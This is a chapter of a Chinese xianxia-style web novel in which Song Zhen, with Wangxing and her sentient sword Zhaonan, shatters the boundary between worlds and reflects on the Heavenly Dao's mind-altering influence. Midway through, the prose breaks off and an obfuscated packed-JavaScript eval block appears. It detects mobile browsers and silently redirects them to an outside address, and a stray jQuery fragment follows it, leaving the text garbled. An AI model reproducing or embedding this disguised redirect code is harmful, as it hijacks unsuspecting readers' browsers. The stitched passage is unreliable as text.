“我在想,化生镜除了能捏幻境,以及把我和这具身体锁死之外,好像并没有别的作用。”
宋臻抬手捂在了右眼上。
因为不是主视眼,只用左眼的话,视野里的一切全都蒙上了一层莫名的违和感。
宋臻忍着不适,强行观察着这里的一切。最终,失望地叹了口气,“我还以为能看到点什么寻常看不见的。”
昭南在前面带路,因为宋臻的举动,祂的速度并不算快。妄星则是紧紧跟在宋臻旁边,鉴于宋臻几次不看路的前科,反正提醒了也没用,索性直接抬手虚虚揽着她,好在第一时间稳住她。
白姝与寒初被捆着跟了一段,兴许是被宋臻刚才的一顿点评吓到,安静了许久。直到不久前被宋臻解开,也还是紧挨着,默默跟在后面。
宋臻扫了一眼走在后面的两人,将寒初的警戒已经白姝似乎十分复杂的心情尽头眼底,眉梢微挑,到底还是没说什么。
——一个本来就是不熟,另一个能不能活下去都难说。她实在想不出以后需要和她们有什么交集,有什么打好关系的必要。
“再往前,应该就是太渊发现我的地方了。”
宋臻走着走着,忽然觉得周边的景象有些眼熟。
她在被韶乌刺中后,进入的幻境里见过。
那是一种很奇怪的感觉,明明那个幻境里几乎什么都没有,宋臻也不是其中任何一个当事人,但她就是莫名地,如同亲身经历过一般地,知道一切。
“……”
宋臻为自己的这个发现和想法感到后怕。
如果真的成为“当事人”,那故事里的“宋臻”,究竟是自己?还是原主呢?
注意到宋臻的脸色忽然沉了下来,妄星垂头朝她靠近了几分,正想询问怎么了,就见宋臻猛地闭眼,两手在脸颊上轻拍了几下。
宋臻告诉自己,现在不是想这些的时候。
不管是哪个“宋臻”,现在站在这里的,都是“自己”。
就算至今的为止的行为都是经过了“某人”的诱导,也不会改变这些都是自己能想到的最优的解法。
再睁眼时,宋臻就看到妄星正好奇又担忧地望着自己。
宋臻眨眨眼,恍神间,注意力全部被妄星眼中,自己的倒影给吸引过去。
——妄星看着的人,究竟是自己,还是原主呢?
“宋臻?”妄星被她空洞又怪异的看得莫名背脊发凉,但从气息上,也似乎并没有遇到什么危险,索性抬手捏起了她的脸颊。
宋臻第一次发现,原来她一直以为的漆黑色眼眸,其实是深蓝色的。
幻光秘境很亮,周围总是有着来源不明的光照,妄星的眼睛在亮光之下,是比价值连城的蓝宝石,比远古海洋的最深处还要更加深邃纯粹的蓝色。
虽然情绪不一样,但在宋臻的记忆里,哪怕是从最开始那颠簸又混乱的初见之时,妄星就一直是这么看着自己的——
那是一种很难形容的感觉。既像是毫无私情,只是为了观察自己而一直盯着自己的摄像头。
又像是一个充满探究欲,想要扯下自己这副皮囊看清最深处的研究者。
也想是观赏着某见精美物品,想要看清角角落落,弄清其中价值的鉴赏家。
当然,宋臻并不是觉得这些是什么值得高兴的感觉,但至少,她可以确定的是,妄星看着的人一直都是自己。
他对自己并非没有期待。但他期待的是“眼前之人”的本质所带来的价值?或者说独一无二之处?
总是,妄星对宋臻的期待,从来不是他的擅自妄想、期许出来的,“宋臻应该有的”某种东西。
“别在这放空自己啊。”
妄星这样说着,语气里倒没多少焦急的意思。
每说一个字,他捏着宋臻脸颊的手就揉一下。不过因为他并没有使力,比起疼,更多的是一种说不上来的痒,让宋臻忍不住笑了出来。
“走吧,直接去最深处。”宋臻的声音闷闷地,但能听出来,心情不错。
回头看了还在后面不明所以,还在纠结要不要靠近的二人,宋臻尽可能让自己表现得和颜悦色。
“靠近点吧,分散太远的话,不太方便。”宋臻朝二人招招手。
寒初当然是抗拒的。不过,在白姝已经走过去的当下,她一个人继续徘徊在外围,才是最不明智的选择。
见二人终于走到自己身边,宋臻满意地点点头,当即招呼昭南。
将昭南握与身前,剑尖朝下,宋臻闭上眼,一会朝这边挪两步,一会又往那边挪两步,像是在找什么东西。
最先反应过来的,当然是被她抓着晃来晃去的昭南,【……宋臻,我一直觉得你不是那种喜欢一力破万法的类型。】
“那你对我误会挺深的。”
宋臻幽幽回答着,不过说话间,便找到了自己的目标。
“我不是不喜欢,只是从前没得选。”
“但现在有了——”
话音落下,宋臻忽然高喝一声。
原本平静无风的世界骤然震荡,灵力、不,是创生出灵力,却远比灵力更加纯净澄澈的清气翻涌,纷纷朝着宋臻奔腾而来,汇聚与她的身侧,缠绕,钻入她手中的长剑之中。
漆黑的剑身上染上了一层厚重又斑斓的光,金色的纹路也愈发耀眼。随着清气的汇聚,
昭南上面属于“神”的气息也逐渐浓郁起来。只听覆盖其上的凝光纱发出“刺啦——”一声,那气息便顺着裂缝,迸发开来。
整个世界就此被压得停滞下来,但很快,又被涌动的清气重新带起,再一次流动起来。
别说是从没见过此情此景的寒初与白姝,就连妄星,也不由睁大了眼。
就像字面意义上说的那样,宋臻,成为了这个世界的中心。
裂帛之声并不起眼,却足够尖锐刺耳。
待到最后一声终于结束,昭男也终于露出来祂本来该有的样子。
漆黑的剑身不断吞噬着融金中灼目的光芒,为那纯白的光拉出了一丝暗金色的边。而那金光也不甘示弱,每被扯开一毫,便发出更多,试图将那暗芒掩盖。
它们就这样在彼此交缠、拉扯。互相压制啃食,又互相滋养彼此。
兴许是化生镜的保护吧,宋臻并没有出现想象中类似雪盲的症状,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254007|191721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相反,她只觉得眼前的景象奇妙,并未生出任何不适。
“好神奇啊,就像太极一样。”
宋臻喃喃着,旋即,抬手将狭长的剑身,刺入地下——
——
【太胡来了!你居然直接把里外世界的分界线给砍碎了!】
【要是两边的世界把你们压成肉饼了怎么办!?】
【要是没能分清边界,连人带线一起砍了怎么办!?】
昭南气急败坏的声音在识海中滔滔不绝。
【宋臻你说话啊!!!】
“这不是已经用事实证明没事了吗……”
宋臻被祂吼得脑瓜子嗡嗡地,揉着太阳穴,确认着倒在地上的白姝和寒初只是晕过去而不是死了。
【可——】
“陪我一起的可是你啊!我这是相信你才这么干的!”
【……下不为例!】
“嗯嗯。”
宋臻毫无诚意地连连点头,转头对妄星做了个“无奈”的表情。
想来是被昭南骂了。妄星不由失笑,反正不管答应了什么,宋臻肯定都是“我错了我下次还敢”。
空间变成了和那时幻境中一样的,什么都没有的“白”。
宋臻忽然有些想去看看灵胎曾经所在的地方,但因为昭南说灵光烛就在附近,犹豫几秒,她还是决定先去把正事办了。
“我自己过去就好,你留在这里看着点吧。”
宋臻的意思,自然是让妄星看着点寒初,以免她或者天道忽然作妖。
显然,宋臻其实并没有之前表现出来的,那么信任天道。
见她态度,妄星一口应下,心中一直隐隐存在的担忧终于消散,被对宋臻的信任所取代。
【你既然不信任天道,又为何不惜惹怒‘神’也要与其交易?】
昭南同样明白了她的想法,却想不明白她这样做的动机。
她就不怕两边一起得罪吗?
“因为那玩意是个可以轻易控制、不,应该说是改变他人意志的东西。”宋臻边说,边用手指点了点自己的脑袋,“如果能只是控制身体的还好,但是这种精神控制是最难防的。”
“华骁因为情感纠葛的原因更像是例外,你得看白姝的反应。她的确在天道停止干涉后不再针对‘宋臻’,但那段时间她与寒初的相处的经历,已经对她造成了潜移默化的影响了。”
“‘记忆’不会消失,就等于‘经验’、‘体验’不会消失。这些东西会始终留在人的脑子里,像‘习惯’一样,无形引导着后续的所作所为。”
昭南顺着她的话思考了一会,很快便理解了宋臻的意思。
如果只是控制身体,那么离开了就没事。可一旦影响到思维,那就难以摆脱了。
宋臻其实对自己的这番说辞并不满意,她总觉得没能精准表达出自己的意思,但她实在找不到更加合适的遣词造句了。
好在,昭南听懂了。
“而且,往极端了说,我们并不知道那种程度是不是祂的极限。”
“或许祂在藏拙呢?”
“又或许,我已经被祂影响,而不自知了呢?”